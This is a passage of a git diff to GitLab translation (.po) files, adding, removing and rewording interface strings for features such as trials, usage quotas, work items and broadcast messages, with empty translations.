+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 17923ed6614..1afeb980788 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,7 +1418,7 @@ msgid_plural "%d roles"
msgstr[0] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgid "1 week remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
